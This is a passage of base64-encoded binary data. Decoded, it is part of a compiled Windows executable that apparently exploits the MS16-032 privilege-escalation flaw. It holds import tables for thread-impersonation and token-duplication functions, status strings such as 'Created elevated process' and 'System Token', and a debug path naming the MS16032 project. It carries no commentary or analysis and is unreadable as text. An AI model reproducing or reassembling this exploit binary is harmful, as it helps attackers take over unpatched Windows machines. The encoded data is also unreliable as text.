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AADsfUEAAAAAAAAAAAADAAAAAQAAAPx9QQBAAAAAAAAAAAAAAADYJUAAQAAAAAAAAAAAAAAAniVAACIFkxkCAAAAMH5BAAEAAABAfkEAAAAAAAAAAAAAAAAAAQAAAP////8AAAAA/////wAAAAAAAAAAAAAAAAEAAAABAAAAVH5BAEAAAAAAAAAAAAAAALwpQAAiBZMZAgAAAIh+QQABAAAAmH5BAAAAAAAAAAAAAAAAAAEAAAD/////AAAAAP////8AAAAAAAAAAAAAAAABAAAAAQAAAKx+QQBAAAAAAAAAAAAAAACNLUAAAAAAAIYuQAAAAAAAzH5BAAIAAADYfkEA9H5BABAAAAD0oUEAAAAAAP////8AAAAADAAAABouQAAAAAAAEKJBAAAAAAD/////AAAAAAwAAADXSUAAAAAAACyiQQAAAAAA/////wAAAAAMAAAAUC5AAAAAAACRLkAAAAAAADx/QQADAAAATH9BABB/QQD0fkEAAAAAAEyiQQAAAAAA/////wAAAAAMAAAANS5AAAAAAACRLkAAAAAAAHh/QQADAAAAiH9BABB/QQD0fkEAAAAAAGyiQQAAAAAA/////wAAAAAMAAAAay5AAAAAAAD+////AAAAANT///8AAAAA/v///wAAAABdNkAAAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAN02QAAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAYThAAAAAAAD+////AAAAAMT///8AAAAA/v///wAAAADBO0AAAAAAAP7///8AAAAAzP///wAAAAD+////Uj1AAGY9QAAAAAAA/v///wAAAADY////AAAAAP7///9rdkAAh3ZAAAAAAAD+////AAAAANT///8AAAAA/v///wAAAABUeEAAAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAMV5QAAAAAAA/v///wAAAADY////AAAAAP7////ZgEAA7IBAAAAAAAD+////AAAAANj///8AAAAA/v///7iBQAC8gUAAAAAAAP7///8AAAAA2P///wAAAAD+////hIFAAIiBQAAAAAAA/v///wAAAAC8////AAAAAP7///8AAAAAxINAAAAAAAD+////AAAAANT///8AAAAA/v///wAAAACfh0AAAAAAAP7///8AAAAA0P///wAAAAD+////AAAAABqJQAAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAl45AAP7///8AAAAAo45AAP7///8AAAAA2P///wAAAAD+////AAAAANGPQAD+////AAAAAOCPQAD+////AAAAAHz///8AAAAA/v///wAAAAA8k0AAAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAGCkQAAAAAAAJaRAAC+kQAD+////AAAAALD///8AAAAA/v///wAAAAATmkAAAAAAAGeZQABxmUAA/v///wAAAADY////AAAAAP7///+HoUAAi6FAAAAAAAD+////AAAAANj///8AAAAA/v///1yYQABlmEAAQAAAAAAAAAAAAAAAwJpAAP////8AAAAA/////wAAAAAAAAAAAAAAAAEAAAABAAAAZIJBACIFkxkCAAAAdIJBAAEAAACEgkEAAAAAAAAAAAAAAAAAAQAAAAAAAAD+////AAAAANT///8AAAAA/v///0KjQABGo0AAAAAAAKKYQAAAAAAA7IJBAAIAAAD4gkEA9H5BAAAAAACkokEAAAAAAP////8AAAAADAAAAIeYQAAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAEbJAAAAAAAD+////AAAAAMz///8AAAAA/v///wAAAACls0AAAAAAAAAAAABvs0AA/v///wAAAADU////AAAAAP7///8AAAAAL7dAAAAAAAD+////AAAAANT///8AAAAA/v///wAAAAAJ10AAAAAAAP7///8AAAAAzP///wAAAAD+////AAAAANnXQAAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAwdhAAAAAAAD+////AAAAAMj///8AAAAA/v///wAAAABi6EAAAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAH/rQAAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAA1wxBAAAAAAD+////AAAAANj///8AAAAA/v///wAAAABRDkEAtIQBAAAAAAAAAAAAkIYBABwgAQCYhAEAAAAAAAAAAAAYhwEAACABAAAAAAAAAAAAAAAAAAAAAAAAAAAA8IYBAN6GAQDMhgEAsoYBAJ6GAQAGhwEAAAAAAECGAQBShgEAMoYBAHCGAQCAhgEAIIYBABCGAQD8hQEA6IUBANSFAQBghgEAwIUBACaHAQA2hwEARocBAFSHAQBqhwEAgIcBAJaHAQCohwEAuocBAMaHAQDahwEA9ocBAA6IAQAmiAEAMogBAD6IAQBWiAEAcogBAJCIAQCgiAEAyIgBANCIAQDciAEA6ogBAPiIAQACiQEAFIkBACSJAQAwiQEARokBAFiJAQBqiQEAdIkBAICJAQCMiQEAmIkBAK6JAQDAiQEAzokBAOiJAQD+iQEAGIoBADKKAQBMigEAWooBAGqKAQCAigEAkooBAKaKAQC2igEAyIoBANyKAQDsigEA/IoBAAAAAAAJAkdldEN1cnJlbnRQcm9jZXNzAGcCR2V0TW9kdWxlSGFuZGxlVwAADQJHZXRDdXJyZW50VGhyZWFkAABfBVRlcm1pbmF0ZVByb2Nlc3MAAFACR2V0TGFzdEVycm9yAACdAkdldFByb2NBZGRyZXNzAADoAkdldFRocmVhZElkAB8BRHVwbGljYXRlSGFuZGxlAH8AQ2xvc2VIYW5kbGUAWAVTdXNwZW5kVGhyZWFkAKcEUmVzdW1lVGhyZWFkAADoAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAAASAk9wZW5Qcm9jZXNzVG9rZW4AAIwAQ3JlYXRlUHJvY2Vzc1dpdGhMb2dvblcAFwJPcGVuVGhyZWFkVG9rZW4A6gJTZXRUaHJlYWRUb2tlbgAAbwFHZXRUb2tlbkluZm9ybWF0aW9uAO4ARHVwbGljYXRlVG9rZW4AAEFEVkFQSTMyLmRsbAAAIQFFbmNvZGVQb2ludGVyAP4ARGVjb2RlUG9pbnRlcgBRAUV4aXRQcm9jZXNzAGYCR2V0TW9kdWxlSGFuZGxlRXhXAADRA011bHRpQnl0ZVRvV2lkZUNoYXIAywVXaWRlQ2hhclRvTXVsdGlCeXRlAMkBR2V0Q29tbWFuZExpbmVXAD8EUmFpc2VFeGNlcHRpb24AAKwEUnRsVW53aW5kAGcDSXNEZWJ1Z2dlclByZXNlbnQAbQNJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50ACUBRW50ZXJDcml0aWNhbFNlY3Rpb24AAKIDTGVhdmVDcml0aWNhbFNlY3Rpb24AADgDSGVhcFNpemUAADMDSGVhcEZyZWUAAAUBRGVsZXRlQ3JpdGljYWxTZWN0aW9uAIAFVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAABBBVNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAKBVNldExhc3RFcnJvcgAASANJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50AFAFU2xlZXAAcQVUbHNBbGxvYwAAcwVUbHNHZXRWYWx1ZQB0BVRsc1NldFZhbHVlAHIFVGxzRnJlZQC+AkdldFN0YXJ0dXBJbmZvVwDAAkdldFN0ZEhhbmRsZQAA3wVXcml0ZUZpbGUAYwJHZXRNb2R1bGVGaWxlTmFtZVcAAKcDTG9hZExpYnJhcnlFeFcAAHIDSXNWYWxpZENvZGVQYWdlAKQBR2V0QUNQAACGAkdldE9FTUNQAACzAUdldENQSW5mbwAvA0hlYXBBbGxvYwAOAkdldEN1cnJlbnRUaHJlYWRJZAAAogJHZXRQcm9jZXNzSGVhcAAAPgJHZXRGaWxlVHlwZQAtBFF1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAAoCR2V0Q3VycmVudFByb2Nlc3NJZADWAkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lACcCR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAnQFGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwA2A0hlYXBSZUFsbG9jAJYDTENNYXBTdHJpbmdXAAD6A091dHB1dERlYnVnU3RyaW5nVwAAxQJHZXRTdHJpbmdUeXBlVwAAkgFGbHVzaEZpbGVCdWZmZXJzAADcAUdldENvbnNvbGVDUAAA7gFHZXRDb25zb2xlTW9kZQAA/ARTZXRGaWxlUG9pbnRlckV4AAAgBVNldFN0ZEhhbmRsZQAA3gVXcml0ZUNvbnNvbGVXAMIAQ3JlYXRlRmlsZVcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdZgAAHOYAABO5kC7sRm/RAEAAAAAAAAAILNBAAAAAAAgs0EAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcAAAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAADwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0AAABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsA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